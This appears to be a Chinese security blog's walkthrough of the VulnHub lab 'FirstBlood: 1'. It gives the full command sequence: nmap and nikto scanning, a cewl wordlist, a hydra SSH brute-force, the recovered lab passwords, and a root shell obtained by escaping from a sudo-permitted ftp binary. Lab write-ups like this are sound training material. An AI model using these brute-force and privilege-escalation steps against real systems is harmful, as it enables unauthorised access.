wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.12:FirstBlood: 1(vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1738

一、前言

主要利用方式:页面提醒的指令+README.txt 突破边界

                   sudo -l + suid的ftp提权拿到root权限

二、靶机信息

靶场: vulnhub.com
靶机名称: FIRSTBLOOD: 1
难度: 简单
发布时间: 2020 年 9月 19日
下载地址:https://www.vulnhub.com/entry/firstblood-1,564/
备注:一步一个提醒,沉迷于各种文件中友情提醒的指令和README.txt,
         最后用切换用户要用sudo,以及suid的ftp提权,也是要用sudo

三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、查看端口及各端口的服务
└─$ sudo nmap -p- 192.168.169.161
└─$ sudo nmap -p22,80 -sV -A 192.168.169.161

3、访问80端口的应用服务,及常规扫描路径
http://192.168.169.161/

└─$ dirsearch -u 192.168.169.161

4、在访问web网站时候,页面提示Ctrl U ,按照提示操作

5、网站再次提醒有一个/rambo.html文件

  按要求访问浏览器,发现给了几个指令,前两个已执行过,那就按照指示,执行nikto

http://192.168.169.162/rambo.html

└─$ nikto -h 192.168.169.161

6、nikto发现有一个/johnnyrambo/路径,访问
http://192.168.169.162/johnnyrambo/

7、命令都帮你写好了,他的意思就是帮忙生成字典
└─$ cewl -w words.txt -d 1 -m 5 http://192.168.169.162/johnnyrambo/
└─$ wc -l words.txt

8、下一步,访问 ssh.html
http://192.168.169.162/johnnyrambo/ssh.html

8、按提示进行操作,用hydra 爆破johnny用户,密码本为上一步骤生成的words.txt
└─$ hydra -l johnny -P /home/kali/Desktop/words.txt -v 192.168.169.162 ssh -s 60022 -t 4

五、漏洞利用(突破边界)
9、通过hydra 爆破拿到了用户johnny的密码:Vietnam,60022端口ssh登录
└─$ ssh johnny@192.168.169.162 -p 60022

10、登陆后,查询本文件目录下的内容,发现README.txt文件,文件中还有一个指令,告诉你下一步。
johnny@firstblood:~$ ls
johnny@firstblood:~$ cat README.txt
johnny@firstblood:~$ cat /etc/nginx/sites-enabled/default | grep -v "#"

11、根据提示,跳转到web目录中去,发现README.txt ,再次查看一下
johnny@firstblood:~$ cd /var/www/html
johnny@firstblood:~$ cd ls​
johnny@firstblood:~$ cat README.txt

12、README.txt文件中教了我们一步一步去做一些精细化筛选
johnny@firstblood:/var/www/html$ find / -type f -readable 2>/dev/null | grep README.txt

13、发现opt目录下也有README.txt文件,查看一下

14、提取了新的用户密码( blood/HackThePlanet2020!! )60022ssh登录呗

15、进入之后,user目录中依然有README.txt,查看
他告诉我,如果你移动到home目录下,你能看到其他的系统用户,并能发现两个文件,尝试着读取这两个文件。cd过去,发现存在sly用户目录,无法读取README.txt,在读取README_FIRST.txt 文件时候,他说我们无权访问,可以通过sudo -l的方法
blood@firstblood:~$ ls
blood@firstblood:~$ cat README.txt
blood@firstblood:~$ cd /home/
blood@firstblood:/home$ ls
blood firstblood johnny sly
blood@firstblood:/home$ cd sly
blood@firstblood:/home/sly$ ls
README_FIRST.txt README.txt
blood@firstblood:/home/sly$ cat README.txt
cat: README.txt: Permission denied
blood@firstblood:/home/sly$ cat README_FIRST.txt

16、按指令办事,发现可以通过sudo 的方式,以sly 用户查看sly文件下的README.txt文件
blood@firstblood:/home/sly$ sudo -l

blood@firstblood:/home/sly$ sudo -u sly /bin/cat /home/sly/README.txt

17、获取了sly用的密码( SylvesterStalone)切换sly用户,使用sudo -l命令列举权限,发现有可以用任意登录用户身份执行的ftp命令

六、提权

18、使用ftp命令进行提取,提权到root之后进入到root目录读到最后的README.txt
https://gtfobins.github.io/gtfobins/ftp/

sly@firstblood:~$ sudo ftp
[sudo] password for sly:
ftp> !/bin/sh

id

ls

cd /root

ls

cat README.txt

添加新评论

TOP